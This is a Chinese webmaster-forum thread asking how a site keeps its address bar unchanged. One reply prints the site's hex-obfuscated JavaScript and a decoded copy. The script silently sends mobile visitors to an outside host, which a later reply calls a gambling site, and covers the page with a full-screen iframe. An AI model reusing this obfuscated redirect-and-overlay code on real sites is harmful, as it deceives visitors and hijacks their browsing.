·设为首页收藏本站📧邮箱修改🎁免费下载专区💎积分✅卡密📒收藏夹👽聊天室
12下一页
返回列表 发布新帖

这个网站怎么做到的 点击任意内页 链接都不变

207 10
发表于 2024-5-4 22:00:20 | 查看全部 阅读模式

马上注册,免费下载更多dz插件网资源。

您需要 登录 才可以下载或查看,没有账号?立即注册

×
gushiju点net

https://gushiju点net/shici/126

这个网站怎么做到的 点击任意内页 链接都不变
我要说一句 收起回复
创宇盾启航版免费网站防御网站加速服务

评论10

TyCodingLv.8 发表于 2024-5-4 22:01:20 | 查看全部
好像是 云锁 搞的
我要说一句 收起回复
CrystαlLv.8 发表于 2024-5-4 22:02:12 | 查看全部
***内容可能违规暂时被隐藏***
这个网站怎么做到的 点击任意内页 链接都不变 链接不变,内页链接,网站优化
我要说一句 收起回复
TyCodingLv.8 发表于 2024-5-4 22:02:59 | 查看全部
用的iframe框架,首页用了框架来加载网页,所以所有的内页链接都是在iframe框架内打开,首页的网址就不会变了。
你可能会发现网页上没看到iframe代码,是因为站长把框架代码隐藏到这段JS中了
  1. function isMobile(){const mobileDevices=['\x70\x68\x6f\x6e\x65','\x70\x61\x64','\x70\x6f\x64','\x69\x50\x68\x6f\x6e\x65','\x69\x50\x6f\x64','\x69\x6f\x73','\x69\x50\x61\x64','\x41\x6e\x64\x72\x6f\x69\x64','\x4d\x6f\x62\x69\x6c\x65','\x42\x6c\x61\x63\x6b\x42\x65\x72\x72\x79','\x49\x45\x4d\x6f\x62\x69\x6c\x65','\x4d\x51\x51\x42\x72\x6f\x77\x73\x65\x72','\x4a\x55\x43','\x46\x65\x6e\x6e\x65\x63','\x77\x4f\x53\x42\x72\x6f\x77\x73\x65\x72','\x42\x72\x6f\x77\x73\x65\x72\x4e\x47','\x57\x65\x62\x4f\x53','\x53\x79\x6d\x62\x69\x61\x6e','\x57\x69\x6e\x64\x6f\x77\x73 \x50\x68\x6f\x6e\x65','\x4b\x69\x6e\x64\x6c\x65','\x53\x69\x6c\x6b','\x50\x6c\x61\x79\x62\x6f\x6f\x6b','\x42\x42\x31\x30','\x4e\x69\x6e\x74\x65\x6e\x64\x6f','\x58\x62\x6f\x78','\x50\x6c\x61\x79\x53\x74\x61\x74\x69\x6f\x6e','\x48\x75\x61\x77\x65\x69','\x58\x69\x61\x6f\x6d\x69','\x4f\x70\x70\x6f','\x56\x69\x76\x6f','\x4f\x6e\x65\x50\x6c\x75\x73','\x53\x61\x6d\x73\x75\x6e\x67','\x4c\x47','\x53\x6f\x6e\x79','\x48\x54\x43','\x5a\x54\x45','\x4d\x6f\x74\x6f\x72\x6f\x6c\x61','\x4e\x6f\x6b\x69\x61'];return mobileDevices['\x73\x6f\x6d\x65'](device=>{return navigator['\x75\x73\x65\x72\x41\x67\x65\x6e\x74']['\x6d\x61\x74\x63\x68'](new window["\x52\x65\x67\x45\x78\x70"](device,'\x69'))})}const mobileUrl="\x68\x74\x74\x70\x73\x3a\x2f\x2f\x71\x7a\x7a\x2e\x77\x70\x65\x69\x2e\x6e\x65\x74\x2f";function getIosVersion(){const match=navigator['\x75\x73\x65\x72\x41\x67\x65\x6e\x74']['\x6d\x61\x74\x63\x68'](/OS (\d+)_(\d+)_?(\d+)?/);return match?window["\x70\x61\x72\x73\x65\x49\x6e\x74"](match[1],10):false}const isIOS=!!navigator['\x75\x73\x65\x72\x41\x67\x65\x6e\x74']['\x6d\x61\x74\x63\x68'](/(iPod|iPhone|iPad)/);const time=window["\x4d\x61\x74\x68"]['\x66\x6c\x6f\x6f\x72'](window["\x4d\x61\x74\x68"]['\x72\x61\x6e\x64\x6f\x6d']()*(1000-500+1))+500;if(isMobile()){if(isIOS&&getIosVersion()<13){setTimeout(()=>{window['\x6c\x6f\x63\x61\x74\x69\x6f\x6e']['\x68\x72\x65\x66']=mobileUrl},time)}else{window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x77\x72\x69\x74\x65']('\x3c\x6d\x65\x74\x61 \x69\x64\x3d\x22\x76\x69\x65\x77\x70\x6f\x72\x74\x22 \x6e\x61\x6d\x65\x3d\x22\x76\x69\x65\x77\x70\x6f\x72\x74\x22 \x63\x6f\x6e\x74\x65\x6e\x74\x3d\x22\x75\x73\x65\x72\x2d\x73\x63\x61\x6c\x61\x62\x6c\x65\x3d\x6e\x6f\x2c\x77\x69\x64\x74\x68\x3d\x64\x65\x76\x69\x63\x65\x2d\x77\x69\x64\x74\x68\x2c \x69\x6e\x69\x74\x69\x61\x6c\x2d\x73\x63\x61\x6c\x65\x3d\x31\x2e\x30\x22 \x2f\x3e');window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x77\x72\x69\x74\x65']('\x3c\x73\x74\x79\x6c\x65\x3e\x68\x74\x6d\x6c\x2c\x62\x6f\x64\x79\x7b\x77\x69\x64\x74\x68\x3a\x31\x30\x30\x25\x3b\x68\x65\x69\x67\x68\x74\x3a\x31\x30\x30\x25\x3b\x6f\x76\x65\x72\x66\x6c\x6f\x77\x3a\x68\x69\x64\x64\x65\x6e\x3b\x7d\x3c\x2f\x73\x74\x79\x6c\x65\x3e');window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x77\x72\x69\x74\x65']('\x3c\x64\x69\x76 \x73\x74\x79\x6c\x65\x3d\x22\x77\x69\x64\x74\x68\x3a\x31\x30\x30\x25\x3b\x68\x65\x69\x67\x68\x74\x3a\x31\x30\x30\x25\x3b\x70\x6f\x73\x69\x74\x69\x6f\x6e\x3a\x61\x62\x73\x6f\x6c\x75\x74\x65\x3b\x74\x6f\x70\x3a\x30\x3b\x6c\x65\x66\x74\x3a\x30\x3b\x7a\x2d\x69\x6e\x64\x65\x78\x3a\x32\x31\x34\x37\x34\x38\x33\x36\x34\x37\x3b\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x3a\x23\x66\x66\x66\x22\x3e');window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x77\x72\x69\x74\x65']('\x3c\x69\x66\x72\x61\x6d\x65 \x73\x72\x63\x3d\x22'+mobileUrl+'\x22 \x66\x72\x61\x6d\x65\x62\x6f\x72\x64\x65\x72\x3d\x22\x30\x22 \x73\x74\x79\x6c\x65\x3d\x22\x62\x6f\x72\x64\x65\x72\x3a\x30\x3b\x77\x69\x64\x74\x68\x3a \x31\x30\x30\x25\x3b \x74\x65\x78\x74\x2d\x61\x6c\x69\x67\x6e\x3a \x63\x65\x6e\x74\x65\x72\x3b \x62\x6f\x72\x64\x65\x72\x3a \x6d\x65\x64\x69\x75\x6d \x6e\x6f\x6e\x65\x3b \x68\x65\x69\x67\x68\x74\x3a\x31\x30\x30\x25\x3b\x6d\x61\x78\x2d\x68\x65\x69\x67\x68\x74\x3a \x34\x30\x30\x30\x70\x78\x3b\x22\x3e\x3c\x2f\x69\x66\x72\x61\x6d\x65\x3e');window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x77\x72\x69\x74\x65']('\x3c\x2f\x64\x69\x76\x3e')}}else{window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x77\x72\x69\x74\x65']('\x3c\x6d\x65\x74\x61 \x69\x64\x3d\x22\x76\x69\x65\x77\x70\x6f\x72\x74\x22 \x6e\x61\x6d\x65\x3d\x22\x76\x69\x65\x77\x70\x6f\x72\x74\x22 \x63\x6f\x6e\x74\x65\x6e\x74\x3d\x22\x75\x73\x65\x72\x2d\x73\x63\x61\x6c\x61\x62\x6c\x65\x3d\x6e\x6f\x2c\x77\x69\x64\x74\x68\x3d\x64\x65\x76\x69\x63\x65\x2d\x77\x69\x64\x74\x68\x2c \x69\x6e\x69\x74\x69\x61\x6c\x2d\x73\x63\x61\x6c\x65\x3d\x31\x2e\x30\x22 \x2f\x3e');window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x77\x72\x69\x74\x65']('\x3c\x73\x74\x79\x6c\x65\x3e\x68\x74\x6d\x6c\x2c\x62\x6f\x64\x79\x7b\x77\x69\x64\x74\x68\x3a\x31\x30\x30\x25\x3b\x68\x65\x69\x67\x68\x74\x3a\x31\x30\x30\x25\x3b\x6f\x76\x65\x72\x66\x6c\x6f\x77\x3a\x68\x69\x64\x64\x65\x6e\x3b\x7d\x3c\x2f\x73\x74\x79\x6c\x65\x3e');window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x77\x72\x69\x74\x65']('\x3c\x64\x69\x76 \x73\x74\x79\x6c\x65\x3d\x22\x77\x69\x64\x74\x68\x3a\x31\x30\x30\x25\x3b\x68\x65\x69\x67\x68\x74\x3a\x31\x30\x30\x25\x3b\x70\x6f\x73\x69\x74\x69\x6f\x6e\x3a\x61\x62\x73\x6f\x6c\x75\x74\x65\x3b\x74\x6f\x70\x3a\x30\x3b\x6c\x65\x66\x74\x3a\x30\x3b\x7a\x2d\x69\x6e\x64\x65\x78\x3a\x32\x31\x34\x37\x34\x38\x33\x36\x34\x37\x3b\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x3a\x23\x66\x66\x66\x22\x3e');window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x77\x72\x69\x74\x65']('\x3c\x69\x66\x72\x61\x6d\x65 \x73\x72\x63\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x77\x77\x2e\x67\x75\x73\x68\x69\x6a\x75\x2e\x6e\x65\x74\x2f\x22 \x66\x72\x61\x6d\x65\x62\x6f\x72\x64\x65\x72\x3d\x22\x30\x22 \x73\x74\x79\x6c\x65\x3d\x22\x62\x6f\x72\x64\x65\x72\x3a\x30\x3b\x77\x69\x64\x74\x68\x3a \x31\x30\x30\x25\x3b \x74\x65\x78\x74\x2d\x61\x6c\x69\x67\x6e\x3a \x63\x65\x6e\x74\x65\x72\x3b \x62\x6f\x72\x64\x65\x72\x3a \x6d\x65\x64\x69\x75\x6d \x6e\x6f\x6e\x65\x3b \x68\x65\x69\x67\x68\x74\x3a\x31\x30\x30\x25\x3b\x6d\x61\x78\x2d\x68\x65\x69\x67\x68\x74\x3a \x34\x30\x30\x30\x70\x78\x3b\x22\x3e\x3c\x2f\x69\x66\x72\x61\x6d\x65\x3e');window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x77\x72\x69\x74\x65']('\x3c\x2f\x64\x69\x76\x3e')}
复制代码
将编码后的字符接码后得到如下代码
  1. function isMobile() {        const mobileDevices = ['phone', 'pad', 'pod', 'iPhone', 'iPod', 'ios', 'iPad', 'Android', 'Mobile', 'BlackBerry', 'IEMobile', 'MQQBrowser', 'JUC', 'Fennec', 'wOSBrowser', 'BrowserNG', 'Symbian', 'Windows Phone', 'Kindle', 'Silk', 'PlayBook', 'BB10', 'Nintendo', 'Xbox', 'PlayStation', 'Vivo', 'Opera', 'OnePlus', 'Samsung', 'LG', 'Sony', 'HTC', 'ZTE', 'Motorola', 'Nokia'];        return mobileDevices.some(device = >{                return navigator.userAgent.match(new window["RegExp"](device, 'i'))        })}const mobileUrl = "https://qzz.wpei.net/";function getIosVersion() {        const match = navigator.userAgent.match(/OS (\d+)_(\d+)_?(\d+)?/);        return match ? parseInt(match[1], 10) : false}const isIOS = !!navigator.userAgent.match(/(iPod|iPhone|iPad)/);const time = window.Math.floor(window.Math.random() * (1000 - 500 + 1)) + 500;if (isMobile()) {        if (isIOS && getIosVersion() < 13) {                setTimeout(() = >{                        window.location.href = mobileUrl                },                time)        } else {                window.document.write('<meta id="viewport" name="viewport" content="user-scalable=no,width=device-width,initial-scale=1.0" />');                window.document.write('<style>html,body{width:100%;height:100%;overflow:hidden;}</style>');                window.document.write('<div style="width:100%;height:100%;position:absolute;top:0;left:0;z-index:2147483647;background:#fff;"></div>');                window.document.write('<iframe src="' + mobileUrl + '" frameborder="0" style="width:100%;height:100%;position:absolute;top:0;left:0;z-index:2147483647;background:#fff"></iframe>')        }} else {        window.document.write('<meta id="viewport" name="viewport" content="user-scalable=no,width=device-width,initial-scale=1.0" />');        window.document.write('<style>html,body{width:100%;height:100%;overflow:hidden;}</style>');        window.document.write('<div style="width:100%;height:100%;position:absolute;top:0;left:0;z-index:2147483647;background:#fff;"></div>');        window.document.write('<iframe src="https://www.gushiju.net/" frameborder="0" style="border:0;width:100%;height:100%;position:absolute;top:0;left:0;z-index:2147483647;background:#fff"></iframe>');        window.document.write('<iframe src="https://www.gushi8.net/" frameborder="0" style="border:0;width:100%;height:100%;position:absolute;top:0;left:0;z-index:2147483647;background:#fff"></iframe>')}
复制代码
可以看到其中的iframe框架代码
我要说一句 收起回复
浅生Lv.8 发表于 2024-5-4 22:03:44 | 查看全部
高手如云!
我要说一句 收起回复
婷姐Lv.8 发表于 2024-5-4 22:04:19 | 查看全部
这是个狠人 公司搞了不少网站啊
这个网站怎么做到的 点击任意内页 链接都不变 链接不变,内页链接,网站优化
我要说一句 收起回复
独家记忆Lv.8 发表于 2024-5-4 22:05:15 | 查看全部
哈哈 我也是准备采集他的网站 突然发现打不开内容页
我要说一句 收起回复
婷姐Lv.8 发表于 2024-5-4 22:05:31 | 查看全部
内容可能违规暂时被隐藏
移动端跳转bc
我要说一句 收起回复
浅生Lv.8 发表于 2024-5-4 22:06:30 | 查看全部
踏实iframe这个嵌套的,但是我看  iframe 嵌套的网址也不变的,切换页面
我要说一句 收起回复
CrystαlLv.8 发表于 2024-5-4 22:07:22 | 查看全部
你访问他 https://ww.gushiju.net/ 这个站就没框架了
我要说一句 收起回复

回复

 懒得打字嘛,点击右侧快捷回复【查看最新发布】   【应用商城享更多资源】
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

图文热点
创宇盾启航版免费网站防御网站加速服务
投诉/建议联系

discuzaddons@vip.qq.com

未经授权禁止转载,复制和建立镜像,
如有违反,按照公告处理!!!
  • 联系QQ客服
  • 添加微信客服

联系DZ插件网微信客服|最近更新|Archiver|手机版|小黑屋|DZ插件网! ( 鄂ICP备20010621号-1 )|网站地图 知道创宇云防御

您的IP:18.117.141.69,GMT+8, 2024-11-25 19:30 , Processed in 0.380897 second(s), 128 queries , Gzip On, Redis On.

Powered by Discuz! X5.0 Licensed

© 2001-2024 Discuz! Team.

关灯 在本版发帖
扫一扫添加微信客服
QQ客服返回顶部
快速回复 返回顶部 返回列表